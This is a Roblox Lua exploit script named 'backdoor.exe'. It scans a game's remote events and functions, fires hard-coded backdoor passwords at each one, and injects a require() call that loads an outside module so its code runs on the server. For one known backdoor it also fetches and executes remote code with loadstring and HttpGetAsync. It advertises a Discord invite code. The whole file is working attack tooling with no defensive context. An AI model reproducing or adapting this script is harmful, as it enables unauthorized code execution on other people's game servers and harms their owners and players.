local LocalPlayer = game:GetService("Players").LocalPlayer
local requireScript = ("require(7924358164):k4scripts('%s')"):format(LocalPlayer.Name)
local invCode = "6HndYgC"
local alternativeSS = {
run = { [1] = "5#lGIERKWEF" },
emma = { [1] = "pwojr8hoc0-gr0yxohlgp-0feb7ncxed", [2] = ",,,,,,,,,,,,,,," },
helpme = { [1] = "helpme" },
pickett = { [1] = "cGlja2V0dA==" },
harked = "https://[Log in to view URL]"
}
local function notify(text)
game:GetService("StarterGui"):SetCore(
"SendNotification",
{
Title = "backdoor.exe",
Duration = 3,
Text = text
}
)
end
local function attached(possibleWait)
if possibleWait then wait(possibleWait) end
return LocalPlayer.PlayerGui:FindFirstChild("backdoor.exe")
end
local function validRemote(rm, _className)
local fullName = rm:GetFullName()
if string.find(fullName, "DefaultChat") then return false end
if string.find(fullName, LocalPlayer.Name) then return false end
if rm:FindFirstChild("__FUNCTION") then return false end
if rm.Parent == game:GetService("JointsService") then return false end
if rm.ClassName ~= _className then return false end
if getgenv().blacklisted then
if table.find(getgenv().blacklisted, fullName) then return false end
end
return true
end
local function harked()
local backpack = LocalPlayer.Backpack
return backpack:FindFirstChild("HandlessSegway") and
Backpack.HandlessSegway:FindFirstChild("RemoteEvents") and
Backpack.HandlessSegway.RemoteEvents:FindFirstChild("DestroySegway")
end
local function emmaBackdoor(rm)
return rm.Name == "emma" and rm.Parent.Name == "mynameemma"
end
local function runBackdoor(rm)
return rm.Name == "Run" and
rm.Parent:FindFirstChild("Pages") and rm.Parent:FindFirstChild("R6") and
rm.Parent:FindFirstChild("Version") and rm.Parent:FindFirstChild("Title")
end
local function scanGame()
notify("Scanning for a backdoor.")
if harked() then
loadstring(game:HttpGetAsync(alternativeSS.harked))()
return
end
for _, remote in pairs(game:GetDescendants()) do
if validRemote(remote, "RemoteEvent") and not attached() then
if emmaBackdoor(remote) then
remote:FireServer(unpack(alternativeSS.emma), requireScript)
end
if runBackdoor(remote) then
remote:FireServer(unpack(alternativeSS.run), requireScript)
end
remote:FireServer(unpack(alternativeSS.helpme), requireScript)
remote:FireServer(unpack(alternativeSS.pickett), requireScript)
remote:FireServer(requireScript)
end
end
for _, remote in pairs(game:GetDescendants()) do
if validRemote(remote, "RemoteFunction") and not attached() then
remote:InvokeServer(requireScript)
end
end
end
local function Main()
notify("Make sure to join our Discord!\nCode: "..invCode)
scanGame()
if not attached(2) then
notify("Unable to find backdoor.\nGame not backdoored?")
end
end
if game:IsLoaded() then
pcall(Main)
end
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